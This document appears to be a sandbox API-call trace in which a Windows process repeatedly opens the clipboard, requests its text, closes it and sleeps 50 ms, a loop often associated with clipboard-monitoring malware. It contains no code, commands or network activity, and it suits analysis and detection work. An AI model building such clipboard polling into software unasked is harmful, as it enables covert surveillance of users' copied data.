[0234.309] OpenClipboard (hWndNewOwner=0x0) returned 1
[0234.309] GetClipboardData (uFormat=0x1) returned 0x0
[0234.309] CloseClipboard () returned 1
[0234.309] Sleep (dwMilliseconds=0x32)
[0234.371] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe6a82ee2, dwHighDateTime=0x1d96e12))
[0234.371] OpenClipboard (hWndNewOwner=0x0) returned 1
[0234.372] GetClipboardData (uFormat=0x1) returned 0x0
[0234.372] CloseClipboard () returned 1
[0234.372] Sleep (dwMilliseconds=0x32)
[0234.434] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe6b1b881, dwHighDateTime=0x1d96e12))
[0234.434] OpenClipboard (hWndNewOwner=0x0) returned 1
[0234.434] GetClipboardData (uFormat=0x1) returned 0x0
[0234.434] CloseClipboard () returned 1
[0234.434] Sleep (dwMilliseconds=0x32)
[0234.497] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe6bb41d4, dwHighDateTime=0x1d96e12))
[0234.497] OpenClipboard (hWndNewOwner=0x0) returned 1
[0234.497] GetClipboardData (uFormat=0x1) returned 0x0
[0234.497] CloseClipboard () returned 1
[0234.497] Sleep (dwMilliseconds=0x32)
[0234.559] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe6c4cb28, dwHighDateTime=0x1d96e12))
[0234.559] OpenClipboard (hWndNewOwner=0x0) returned 1
[0234.559] GetClipboardData (uFormat=0x1) returned 0x0
[0234.559] CloseClipboard () returned 1
[0234.559] Sleep (dwMilliseconds=0x32)
[0234.622] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe6ce53f7, dwHighDateTime=0x1d96e12))
[0234.622] OpenClipboard (hWndNewOwner=0x0) returned 1
[0234.622] GetClipboardData (uFormat=0x1) returned 0x0
[0234.622] CloseClipboard () returned 1
[0234.622] Sleep (dwMilliseconds=0x32)
[0234.684] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe6d7dde2, dwHighDateTime=0x1d96e12))
[0234.684] OpenClipboard (hWndNewOwner=0x0) returned 1
[0234.684] GetClipboardData (uFormat=0x1) returned 0x0
[0234.684] CloseClipboard () returned 1
[0234.684] Sleep (dwMilliseconds=0x32)
[0234.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe6e16776, dwHighDateTime=0x1d96e12))
[0234.747] OpenClipboard (hWndNewOwner=0x0) returned 1
[0234.747] GetClipboardData (uFormat=0x1) returned 0x0
[0234.747] CloseClipboard () returned 1
[0234.747] Sleep (dwMilliseconds=0x32)
[0234.809] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe6eaf139, dwHighDateTime=0x1d96e12))
[0234.809] OpenClipboard (hWndNewOwner=0x0) returned 1
[0234.810] GetClipboardData (uFormat=0x1) returned 0x0
[0234.810] CloseClipboard () returned 1
[0234.810] Sleep (dwMilliseconds=0x32)
[0234.872] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe6f47a56, dwHighDateTime=0x1d96e12))
[0234.872] OpenClipboard (hWndNewOwner=0x0) returned 1
[0234.872] GetClipboardData (uFormat=0x1) returned 0x0
[0234.872] CloseClipboard () returned 1
[0234.872] Sleep (dwMilliseconds=0x32)
[0234.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe6fe037d, dwHighDateTime=0x1d96e12))
[0234.934] OpenClipboard (hWndNewOwner=0x0) returned 1
[0234.935] GetClipboardData (uFormat=0x1) returned 0x0
[0234.935] CloseClipboard () returned 1
[0234.935] Sleep (dwMilliseconds=0x32)
[0235.002] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe7078db6, dwHighDateTime=0x1d96e12))
[0235.002] OpenClipboard (hWndNewOwner=0x0) returned 1
[0235.002] GetClipboardData (uFormat=0x1) returned 0x0
[0235.002] CloseClipboard () returned 1
[0235.002] Sleep (dwMilliseconds=0x32)
[0235.060] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe7111656, dwHighDateTime=0x1d96e12))
[0235.060] OpenClipboard (hWndNewOwner=0x0) returned 1
[0235.061] GetClipboardData (uFormat=0x1) returned 0x0
[0235.061] CloseClipboard () returned 1
[0235.061] Sleep (dwMilliseconds=0x32)
[0235.112] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe719112c, dwHighDateTime=0x1d96e12))
[0235.112] OpenClipboard (hWndNewOwner=0x0) returned 1
[0235.112] GetClipboardData (uFormat=0x1) returned 0x0
[0235.112] CloseClipboard () returned 1
[0235.112] Sleep (dwMilliseconds=0x32)
[0235.172] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe721ea46, dwHighDateTime=0x1d96e12))
[0235.172] OpenClipboard (hWndNewOwner=0x0) returned 1
[0235.172] GetClipboardData (uFormat=0x1) returned 0x0
[0235.172] CloseClipboard () returned 1
[0235.172] Sleep (dwMilliseconds=0x32)
[0235.236] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe72b73e2, dwHighDateTime=0x1d96e12))
[0235.236] OpenClipboard (hWndNewOwner=0x0) returned 1
[0235.236] GetClipboardData (uFormat=0x1) returned 0x0
[0235.236] CloseClipboard () returned 1
[0235.236] Sleep (dwMilliseconds=0x32)
[0235.294] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe734fcfb, dwHighDateTime=0x1d96e12))
[0235.294] OpenClipboard (hWndNewOwner=0x0) returned 1
[0235.294] GetClipboardData (uFormat=0x1) returned 0x0
[0235.294] CloseClipboard () returned 1
[0235.294] Sleep (dwMilliseconds=0x32)
[0235.357] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe73e86b1, dwHighDateTime=0x1d96e12))
[0235.357] OpenClipboard (hWndNewOwner=0x0) returned 1
[0235.357] GetClipboardData (uFormat=0x1) returned 0x0
[0235.357] CloseClipboard () returned 1
[0235.357] Sleep (dwMilliseconds=0x32)
[0235.419] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe7480ff4, dwHighDateTime=0x1d96e12))
[0235.419] OpenClipboard (hWndNewOwner=0x0) returned 1
[0235.419] GetClipboardData (uFormat=0x1) returned 0x0
[0235.419] CloseClipboard () returned 1
[0235.420] Sleep (dwMilliseconds=0x32)
[0235.482] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe7519b19, dwHighDateTime=0x1d96e12))
[0235.482] OpenClipboard (hWndNewOwner=0x0) returned 1
[0235.482] GetClipboardData (uFormat=0x1) returned 0x0
[0235.482] CloseClipboard () returned 1
[0235.482] Sleep (dwMilliseconds=0x32)
[0235.545] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe75b22f5, dwHighDateTime=0x1d96e12))
[0235.545] OpenClipboard (hWndNewOwner=0x0) returned 1
[0235.545] GetClipboardData (uFormat=0x1) returned 0x0
[0235.545] CloseClipboard () returned 1
[0235.545] Sleep (dwMilliseconds=0x32)
[0235.608] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe764abd9, dwHighDateTime=0x1d96e12))
[0235.608] OpenClipboard (hWndNewOwner=0x0) returned 1
[0235.608] GetClipboardData (uFormat=0x1) returned 0x0
[0235.608] CloseClipboard () returned 1
[0235.608] Sleep (dwMilliseconds=0x32)
[0235.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe76e353f, dwHighDateTime=0x1d96e12))
[0235.671] OpenClipboard (hWndNewOwner=0x0) returned 1
[0235.671] GetClipboardData (uFormat=0x1) returned 0x0
[0235.671] CloseClipboard () returned 1
[0235.671] Sleep (dwMilliseconds=0x32)
[0235.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe777bf01, dwHighDateTime=0x1d96e12))
[0235.732] OpenClipboard (hWndNewOwner=0x0) returned 1
[0235.732] GetClipboardData (uFormat=0x1) returned 0x0
[0235.732] CloseClipboard () returned 1
[0235.732] Sleep (dwMilliseconds=0x32)
[0235.795] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe7814804, dwHighDateTime=0x1d96e12))
[0235.795] OpenClipboard (hWndNewOwner=0x0) returned 1
[0235.795] GetClipboardData (uFormat=0x1) returned 0x0
[0235.795] CloseClipboard () returned 1
[0235.795] Sleep (dwMilliseconds=0x32)
[0235.857] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe78ad18e, dwHighDateTime=0x1d96e12))
[0235.857] OpenClipboard (hWndNewOwner=0x0) returned 1
[0235.857] GetClipboardData (uFormat=0x1) returned 0x0
[0235.857] CloseClipboard () returned 1
[0235.857] Sleep (dwMilliseconds=0x32)
[0235.919] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe7945b24, dwHighDateTime=0x1d96e12))
[0235.919] OpenClipboard (hWndNewOwner=0x0) returned 1
[0235.919] GetClipboardData (uFormat=0x1) returned 0x0
[0235.919] CloseClipboard () returned 1
[0235.920] Sleep (dwMilliseconds=0x32)
[0235.977] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe79d0587, dwHighDateTime=0x1d96e12))
[0235.977] OpenClipboard (hWndNewOwner=0x0) returned 1
[0235.977] GetClipboardData (uFormat=0x1) returned 0x0
[0235.977] CloseClipboard () returned 1
[0235.977] Sleep (dwMilliseconds=0x32)
[0236.029] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe7a50bf0, dwHighDateTime=0x1d96e12))
[0236.029] OpenClipboard (hWndNewOwner=0x0) returned 1
[0236.029] GetClipboardData (uFormat=0x1) returned 0x0
[0236.029] CloseClipboard () returned 1
[0236.029] Sleep (dwMilliseconds=0x32)
[0236.091] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe7ae9556, dwHighDateTime=0x1d96e12))
[0236.091] OpenClipboard (hWndNewOwner=0x0) returned 1
[0236.091] GetClipboardData (uFormat=0x1) returned 0x0
[0236.091] CloseClipboard () returned 1
[0236.091] Sleep (dwMilliseconds=0x32)
[0236.154] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe7b81ead, dwHighDateTime=0x1d96e12))
[0236.154] OpenClipboard (hWndNewOwner=0x0) returned 1
[0236.154] GetClipboardData (uFormat=0x1) returned 0x0
[0236.154] CloseClipboard () returned 1
[0236.154] Sleep (dwMilliseconds=0x32)
[0236.216] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe7c1a825, dwHighDateTime=0x1d96e12))
[0236.216] OpenClipboard (hWndNewOwner=0x0) returned 1
[0236.216] GetClipboardData (uFormat=0x1) returned 0x0
[0236.216] CloseClipboard () returned 1
[0236.217] Sleep (dwMilliseconds=0x32)
[0236.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe7cb317d, dwHighDateTime=0x1d96e12))
[0236.279] OpenClipboard (hWndNewOwner=0x0) returned 1
[0236.279] GetClipboardData (uFormat=0x1) returned 0x0
[0236.279] CloseClipboard () returned 1
[0236.279] Sleep (dwMilliseconds=0x32)
[0236.341] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe7d4ba74, dwHighDateTime=0x1d96e12))
[0236.341] OpenClipboard (hWndNewOwner=0x0) returned 1
[0236.341] GetClipboardData (uFormat=0x1) returned 0x0
[0236.341] CloseClipboard () returned 1
[0236.342] Sleep (dwMilliseconds=0x32)
[0236.404] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe7de447a, dwHighDateTime=0x1d96e12))
[0236.404] OpenClipboard (hWndNewOwner=0x0) returned 1
[0236.404] GetClipboardData (uFormat=0x1) returned 0x0
[0236.404] CloseClipboard () returned 1
[0236.404] Sleep (dwMilliseconds=0x32)
[0236.468] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe7e7ce29, dwHighDateTime=0x1d96e12))
[0236.468] OpenClipboard (hWndNewOwner=0x0) returned 1
[0236.468] GetClipboardData (uFormat=0x1) returned 0x0
[0236.468] CloseClipboard () returned 1
[0236.468] Sleep (dwMilliseconds=0x32)
[0236.529] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe7f156e5, dwHighDateTime=0x1d96e12))
[0236.529] OpenClipboard (hWndNewOwner=0x0) returned 1
[0236.529] GetClipboardData (uFormat=0x1) returned 0x0
[0236.529] CloseClipboard () returned 1
[0236.529] Sleep (dwMilliseconds=0x32)
[0236.591] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe7fadff4, dwHighDateTime=0x1d96e12))
[0236.591] OpenClipboard (hWndNewOwner=0x0) returned 1
[0236.591] GetClipboardData (uFormat=0x1) returned 0x0
[0236.591] CloseClipboard () returned 1
[0236.591] Sleep (dwMilliseconds=0x32)
[0236.659] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe8046a6d, dwHighDateTime=0x1d96e12))
[0236.659] OpenClipboard (hWndNewOwner=0x0) returned 1
[0236.659] GetClipboardData (uFormat=0x1) returned 0x0
[0236.659] CloseClipboard () returned 1
[0236.659] Sleep (dwMilliseconds=0x32)
[0236.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe80df30d, dwHighDateTime=0x1d96e12))
[0236.716] OpenClipboard (hWndNewOwner=0x0) returned 1
[0236.716] GetClipboardData (uFormat=0x1) returned 0x0
[0236.716] CloseClipboard () returned 1
[0236.716] Sleep (dwMilliseconds=0x32)
[0236.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe8177cbe, dwHighDateTime=0x1d96e12))
[0236.779] OpenClipboard (hWndNewOwner=0x0) returned 1
[0236.779] GetClipboardData (uFormat=0x1) returned 0x0
[0236.779] CloseClipboard () returned 1
[0236.779] Sleep (dwMilliseconds=0x32)
[0236.842] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe821061a, dwHighDateTime=0x1d96e12))
[0236.842] OpenClipboard (hWndNewOwner=0x0) returned 1
[0236.842] GetClipboardData (uFormat=0x1) returned 0x0
[0236.842] CloseClipboard () returned 1
[0236.842] Sleep (dwMilliseconds=0x32)
[0236.904] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe82a8ef2, dwHighDateTime=0x1d96e12))
[0236.904] OpenClipboard (hWndNewOwner=0x0) returned 1
[0236.904] GetClipboardData (uFormat=0x1) returned 0x0
[0236.904] CloseClipboard () returned 1
[0236.904] Sleep (dwMilliseconds=0x32)
[0236.966] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe83418af, dwHighDateTime=0x1d96e12))
[0236.966] OpenClipboard (hWndNewOwner=0x0) returned 1
[0236.966] GetClipboardData (uFormat=0x1) returned 0x0
[0236.966] CloseClipboard () returned 1
[0236.966] Sleep (dwMilliseconds=0x32)
[0237.029] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe83da1f1, dwHighDateTime=0x1d96e12))
[0237.029] OpenClipboard (hWndNewOwner=0x0) returned 1
[0237.029] GetClipboardData (uFormat=0x1) returned 0x0
[0237.029] CloseClipboard () returned 1
[0237.029] Sleep (dwMilliseconds=0x32)
[0237.091] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe8472bfc, dwHighDateTime=0x1d96e12))
[0237.091] OpenClipboard (hWndNewOwner=0x0) returned 1
[0237.091] GetClipboardData (uFormat=0x1) returned 0x0
[0237.091] CloseClipboard () returned 1
[0237.092] Sleep (dwMilliseconds=0x32)
[0237.154] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe850b4f5, dwHighDateTime=0x1d96e12))
[0237.154] OpenClipboard (hWndNewOwner=0x0) returned 1
[0237.154] GetClipboardData (uFormat=0x1) returned 0x0
[0237.154] CloseClipboard () returned 1
[0237.154] Sleep (dwMilliseconds=0x32)
[0237.216] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe85a3ee9, dwHighDateTime=0x1d96e12))
[0237.216] OpenClipboard (hWndNewOwner=0x0) returned 1
[0237.216] GetClipboardData (uFormat=0x1) returned 0x0
[0237.217] CloseClipboard () returned 1
[0237.217] Sleep (dwMilliseconds=0x32)
[0237.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe863c828, dwHighDateTime=0x1d96e12))
[0237.279] OpenClipboard (hWndNewOwner=0x0) returned 1
[0237.279] GetClipboardData (uFormat=0x1) returned 0x0
[0237.279] CloseClipboard () returned 1
[0237.279] Sleep (dwMilliseconds=0x32)
[0237.342] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe86d50fb, dwHighDateTime=0x1d96e12))
[0237.342] OpenClipboard (hWndNewOwner=0x0) returned 1
[0237.342] GetClipboardData (uFormat=0x1) returned 0x0
[0237.342] CloseClipboard () returned 1
[0237.342] Sleep (dwMilliseconds=0x32)
[0237.404] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe876da8f, dwHighDateTime=0x1d96e12))
[0237.404] OpenClipboard (hWndNewOwner=0x0) returned 1
[0237.404] GetClipboardData (uFormat=0x1) returned 0x0
[0237.404] CloseClipboard () returned 1
[0237.404] Sleep (dwMilliseconds=0x32)
[0237.466] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe8806439, dwHighDateTime=0x1d96e12))
[0237.466] OpenClipboard (hWndNewOwner=0x0) returned 1
[0237.466] GetClipboardData (uFormat=0x1) returned 0x0
[0237.466] CloseClipboard () returned 1
[0237.466] Sleep (dwMilliseconds=0x32)
[0237.529] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe889ed0c, dwHighDateTime=0x1d96e12))
[0237.529] OpenClipboard (hWndNewOwner=0x0) returned 1
[0237.530] GetClipboardData (uFormat=0x1) returned 0x0
[0237.530] CloseClipboard () returned 1
[0237.530] Sleep (dwMilliseconds=0x32)
[0237.595] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe8937765, dwHighDateTime=0x1d96e12))
[0237.596] OpenClipboard (hWndNewOwner=0x0) returned 1
[0237.596] GetClipboardData (uFormat=0x1) returned 0x0
[0237.596] CloseClipboard () returned 1
[0237.596] Sleep (dwMilliseconds=0x32)
[0237.659] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe89d00a1, dwHighDateTime=0x1d96e12))
[0237.659] OpenClipboard (hWndNewOwner=0x0) returned 1
[0237.659] GetClipboardData (uFormat=0x1) returned 0x0
[0237.659] CloseClipboard () returned 1
[0237.659] Sleep (dwMilliseconds=0x32)
[0237.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe8a68977, dwHighDateTime=0x1d96e12))
[0237.716] OpenClipboard (hWndNewOwner=0x0) returned 1
[0237.716] GetClipboardData (uFormat=0x1) returned 0x0
[0237.716] CloseClipboard () returned 1
[0237.716] Sleep (dwMilliseconds=0x32)
[0237.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe8b012d1, dwHighDateTime=0x1d96e12))
[0237.779] OpenClipboard (hWndNewOwner=0x0) returned 1
[0237.779] GetClipboardData (uFormat=0x1) returned 0x0
[0237.779] CloseClipboard () returned 1
[0237.779] Sleep (dwMilliseconds=0x32)
[0237.841] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe8b99c81, dwHighDateTime=0x1d96e12))
[0237.841] OpenClipboard (hWndNewOwner=0x0) returned 1
[0237.841] GetClipboardData (uFormat=0x1) returned 0x0
[0237.841] CloseClipboard () returned 1
[0237.842] Sleep (dwMilliseconds=0x32)
[0237.913] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe8c325e0, dwHighDateTime=0x1d96e12))
[0237.914] OpenClipboard (hWndNewOwner=0x0) returned 1
[0237.914] GetClipboardData (uFormat=0x1) returned 0x0
[0237.914] CloseClipboard () returned 1
[0237.914] Sleep (dwMilliseconds=0x32)
[0237.966] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe8ccaf1e, dwHighDateTime=0x1d96e12))
[0237.966] OpenClipboard (hWndNewOwner=0x0) returned 1
[0237.966] GetClipboardData (uFormat=0x1) returned 0x0
[0237.967] CloseClipboard () returned 1
[0237.967] Sleep (dwMilliseconds=0x32)
[0238.029] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe8d65112, dwHighDateTime=0x1d96e12))
[0238.029] OpenClipboard (hWndNewOwner=0x0) returned 1
[0238.029] GetClipboardData (uFormat=0x1) returned 0x0
[0238.030] CloseClipboard () returned 1
[0238.030] Sleep (dwMilliseconds=0x32)
[0238.095] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe8e03b05, dwHighDateTime=0x1d96e12))
[0238.095] OpenClipboard (hWndNewOwner=0x0) returned 1
[0238.095] GetClipboardData (uFormat=0x1) returned 0x0
[0238.095] CloseClipboard () returned 1
[0238.095] Sleep (dwMilliseconds=0x32)
[0238.154] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe8e94af6, dwHighDateTime=0x1d96e12))
[0238.154] OpenClipboard (hWndNewOwner=0x0) returned 1
[0238.154] GetClipboardData (uFormat=0x1) returned 0x0
[0238.154] CloseClipboard () returned 1
[0238.154] Sleep (dwMilliseconds=0x32)
[0238.216] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe8f2d55b, dwHighDateTime=0x1d96e12))
[0238.216] OpenClipboard (hWndNewOwner=0x0) returned 1
[0238.216] GetClipboardData (uFormat=0x1) returned 0x0
[0238.216] CloseClipboard () returned 1
[0238.216] Sleep (dwMilliseconds=0x32)
[0238.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe8fc5e1f, dwHighDateTime=0x1d96e12))
[0238.279] OpenClipboard (hWndNewOwner=0x0) returned 1
[0238.279] GetClipboardData (uFormat=0x1) returned 0x0
[0238.279] CloseClipboard () returned 1
[0238.279] Sleep (dwMilliseconds=0x32)
[0238.341] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe905e745, dwHighDateTime=0x1d96e12))
[0238.341] OpenClipboard (hWndNewOwner=0x0) returned 1
[0238.341] GetClipboardData (uFormat=0x1) returned 0x0
[0238.341] CloseClipboard () returned 1
[0238.341] Sleep (dwMilliseconds=0x32)
[0238.404] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe90f70f1, dwHighDateTime=0x1d96e12))
[0238.404] OpenClipboard (hWndNewOwner=0x0) returned 1
[0238.404] GetClipboardData (uFormat=0x1) returned 0x0
[0238.404] CloseClipboard () returned 1
[0238.404] Sleep (dwMilliseconds=0x32)
[0238.471] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe918fa7f, dwHighDateTime=0x1d96e12))
[0238.471] OpenClipboard (hWndNewOwner=0x0) returned 1
[0238.472] GetClipboardData (uFormat=0x1) returned 0x0
[0238.472] CloseClipboard () returned 1
[0238.472] Sleep (dwMilliseconds=0x32)
[0238.529] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe9228425, dwHighDateTime=0x1d96e12))
[0238.529] OpenClipboard (hWndNewOwner=0x0) returned 1
[0238.529] GetClipboardData (uFormat=0x1) returned 0x0
[0238.529] CloseClipboard () returned 1
[0238.529] Sleep (dwMilliseconds=0x32)
[0238.591] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe92c0d6c, dwHighDateTime=0x1d96e12))
[0238.591] OpenClipboard (hWndNewOwner=0x0) returned 1
[0238.592] GetClipboardData (uFormat=0x1) returned 0x0
[0238.592] CloseClipboard () returned 1
[0238.592] Sleep (dwMilliseconds=0x32)
[0238.659] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe9359756, dwHighDateTime=0x1d96e12))
[0238.659] OpenClipboard (hWndNewOwner=0x0) returned 1
[0238.659] GetClipboardData (uFormat=0x1) returned 0x0
[0238.659] CloseClipboard () returned 1
[0238.660] Sleep (dwMilliseconds=0x32)
